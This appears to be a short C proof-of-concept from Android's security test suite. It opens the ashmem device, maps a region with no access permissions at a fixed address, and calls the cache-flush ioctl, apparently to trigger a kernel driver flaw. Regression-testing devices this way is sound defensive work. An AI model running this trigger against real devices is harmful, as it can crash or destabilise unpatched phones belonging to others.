1 /** 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 17 #define _GNU_SOURCE 18 #include <fcntl.h> 19 #include <sys/ioctl.h> 20 #include <sys/mman.h> 21 #include <stdio.h> 22 #include "local_poc.h" 23 24 25 int main() { 26 int fd; 27 int ret; 28 uint64_t mmap_ret; 29 30 fd = open("/dev/ashmem", 0, 0); 31 if (fd < 0) { 32 return -1; 33 } 34 35 ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000); 36 if (ret < 0) { 37 return -1; 38 } 39 40 mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/, 41 0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/); 42 if (mmap_ret == MAP_FAILED) { 43 return -1; 44 } 45 46 ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL); 47 if (ret < 0) { 48 return -1; 49 } 50 return 0; 51 } 52
